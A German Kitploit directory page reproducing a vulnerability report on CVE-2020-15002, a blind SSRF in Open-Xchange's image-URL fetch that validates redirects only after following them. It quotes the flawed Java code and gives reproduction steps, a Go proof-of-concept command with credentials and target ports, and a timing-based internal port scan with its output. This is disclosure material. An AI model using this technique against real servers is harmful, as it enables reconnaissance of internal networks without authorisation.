Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Blind-SSRF-CVE-2020-15002 — https://hackerone.com/reports/865652 | Kitploit
Tools/GitHubGitHub/skr0x1c0/blind-ssrf-cve-2020-15002
AufklärungPort-ScanningSchwachstellenanalyseExploitationWebanwendungs-Exploitation
GitHubskr0x1c0/blind-ssrf-cve-2020-15002

Blind-SSRF-CVE-2020-15002

https://hackerone.com/reports/865652

Repository anzeigen
3vor 5 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Zusammenfassung

Die Logik in AddFileAction.getImageDataFromUrl zum Abrufen von Bildern von externen URLs bei der Verarbeitung von /appsuite/api/oxodocumentfilter&action=addfile, implementiert hier, validiert die umgeleiteten URLs erst nachdem alle Weiterleitungen gefolgt wurden.

root@kitploit:~
response = httpClient.execute(getRequest, context);

int statusCode = response.getStatusLine().getStatusCode();
if (statusCode == HttpStatus.SC_OK) {
    List<URI> locations = context.getRedirectLocations();
    if (locations != null) {
        for (URI uri : locations) {
            try {
                Optional<OXException> oxException = validator.apply(uri.toURL());
                if (oxException.isPresent()) {
                    throw (RESTException) oxException.get().getCause();
                }
            } catch (MalformedURLException e) {
                throw new RESTException(ErrorCode.GENERAL_ARGUMENTS_ERROR, e);
            }
        };
    }
    long length = response.getEntity().getContentLength();
    ...
}

Dies könnte von einem Angreifer genutzt werden, um blinde SSRF-Angriffe durchzuführen.

Schritte zur Reproduktion

  1. Installieren Sie Open-Xchange und Documents in einer virtuellen Maschine gemäß den Anleitungen https://oxpedia.org/wiki/index.php?title=AppSuite:Open-Xchange_Installation_Guide_for_Debian_9.0 und https://oxpedia.org/wiki/index.php?title=AppSuite:Documents_Installation_Guide#Debian_GNU.2FLinux_9.0_.28valid_from_v7.10.29
  2. Führen Sie innerhalb der VM den folgenden Befehl aus, um netcat auf 127.0.0.1:7070 lauschen zu lassen
    root@kitploit:~
    nc -l 127.0.0.1 -p 7070
    
  3. Installieren Sie auf dem Host-Rechner golang von https://golang.org/dl/
  4. Laden Sie die poc.zip-Datei herunter und entpacken Sie sie
  5. Öffnen Sie ein Terminal / eine Kommandozeile und setzen Sie das aktuelle Verzeichnis auf den entpackten poc.zip-Ordner
  6. Führen Sie den Befehl aus
    root@kitploit:~
    go run . -redirectorAddress="172.16.146.1:8081" -targetPorts="7070" -serverRoot="http://172.16.66.130" -username="testuser" -password="secret"
    
    wobei
    • redirectorAddress: Die IP-Adresse und der Port, an den der Redirector-Server binden soll. Diese IP-Adresse sollte von der VM aus erreichbar sein.
    • targetPorts: Port innerhalb der VM, auf dem netcat lauscht
    • serverRoot: Basis-URL des Open-Xchange-Servers
    • serverUser: Benutzername eines beliebigen Benutzers auf dem Open-Xchange-Server
    • serverPass: Passwort des Benutzers auf dem Open-Xchange-Server

Die Ausführung des obigen Befehls zeigt folgende Ausgabe in netcat an

root@kitploit:~
GET /image.png HTTP/1.1
Accept: *
Accept-Encoding: gzip
Host: 127.0.0.1:7070
Connection: Keep-Alive
User-Agent: Open-Xchange Image Url Data Fetcher

Auswirkungen

Da es sich um ein blindes SSRF handelt, ist es nicht möglich, die Antwort von HTTP-Anfragen zu lesen. Diese Sicherheitslücke kann jedoch zur Erkundung (Reconnaissance) genutzt werden.

Beispiel: Port-Scan durch Messung der Antwortzeit

Um einen Port-Scan auf den Ports 7070,61616,8004,80,22,25,8080,3125 im lokalen Netzwerk des Servers durchzuführen, führen Sie den folgenden Befehl aus

root@kitploit:~
go run . -redirectorAddress="172.16.146.1:8081" -targetPorts="7070,61616,8004,80,22,8080,3125" -serverRoot="http://172.16.66.130" -username="testuser" -password="secret" -numSamples=20

Ausgabe:

root@kitploit:~
2020/05/04 13:32:42 7070: 2.220000
2020/05/04 13:32:42 61616: 3567.000000
2020/05/04 13:32:42 8004: 2.980000
2020/05/04 13:32:42 80: 3.180000
2020/05/04 13:32:42 22: 34.600000
2020/05/04 13:32:42 25: 2169.333333
2020/05/04 13:32:42 8080: 2.560000
2020/05/04 13:32:42 3125: 3.000000

Wir können lsof verwenden, um offene Ports innerhalb der VM anzuzeigen

root@kitploit:~
sudo lsof -nP -iTCP -sTCP:LISTEN

Ausgabe:

root@kitploit:~
COMMAND  PID         USER   FD   TYPE DEVICE SIZE/OFF NODE NAME
java     467 open-xchange   15u  IPv6  13049      0t0  TCP 172.16.66.130:9994 (LISTEN)
java     467 open-xchange   16u  IPv6  15970      0t0  TCP *:42319 (LISTEN)
java     467 open-xchange   24u  IPv6  14136      0t0  TCP 127.0.0.1:61616 (LISTEN)
java     467 open-xchange   33u  IPv6  16419      0t0  TCP *:8004 (LISTEN)
java     489 open-xchange   37u  IPv6  14138      0t0  TCP 127.0.0.1:9999 (LISTEN)
java     489 open-xchange   42u  IPv6  17565      0t0  TCP 127.0.0.1:1099 (LISTEN)
java     489 open-xchange   47u  IPv6  14144      0t0  TCP 127.0.0.1:5701 (LISTEN)
java     489 open-xchange  127u  IPv6  15345      0t0  TCP *:36149 (LISTEN)
java     489 open-xchange  144u  IPv6  17559      0t0  TCP 127.0.0.1:8009 (LISTEN)
apache2  526         root    3u  IPv6  13789      0t0  TCP *:80 (LISTEN)
apache2  527     www-data    3u  IPv6  13789      0t0  TCP *:80 (LISTEN)
apache2  528     www-data    3u  IPv6  13789      0t0  TCP *:80 (LISTEN)
mysqld   695        mysql   26u  IPv4  13847      0t0  TCP 127.0.0.1:3306 (LISTEN)
exim4   1077  Debian-exim    3u  IPv4  13115      0t0  TCP 127.0.0.1:25 (LISTEN)
exim4   1077  Debian-exim    4u  IPv6  13116      0t0  TCP [::1]:25 (LISTEN)
sshd    1345         root    3u  IPv4  14259      0t0  TCP 172.16.66.130:22 (LISTEN)
sshd    1345         root    4u  IPv4  14261      0t0  TCP 127.0.0.1:22 (LISTEN)

Aus den obigen Ausgaben können folgende Beobachtungen gemacht werden:

  • Wie wir sehen können, sind die Antwortzeiten für geschlossene Ports 7070, 8080 und 3125 niedrig (~ weniger als 3ms)
  • Bei offenen Ports variiert die Antwortzeit je nach Art der lauschenden Verbindung
    • Für SSH (Port 22) beträgt die Antwortzeit ~34ms
    • Für Exim (Port 25) beträgt die Antwortzeit ~2170ms
    • Für ActiveMQ (Port 61616) beträgt die Antwortzeit ~3567ms
    • Für HTTP (Port 80 und 8004) beträgt die Antwortzeit ~3ms (dieser Typ ist schwer von geschlossenen Ports zu unterscheiden)

Ein Angreifer kann diese Sicherheitslücke also nutzen, um die meisten offenen Ports zu erkennen, und die Antwortzeit nutzen, um den Verbindungstyp zu identifizieren (SSH / Exim / ActiveMQ usw.).

Tool herunterladen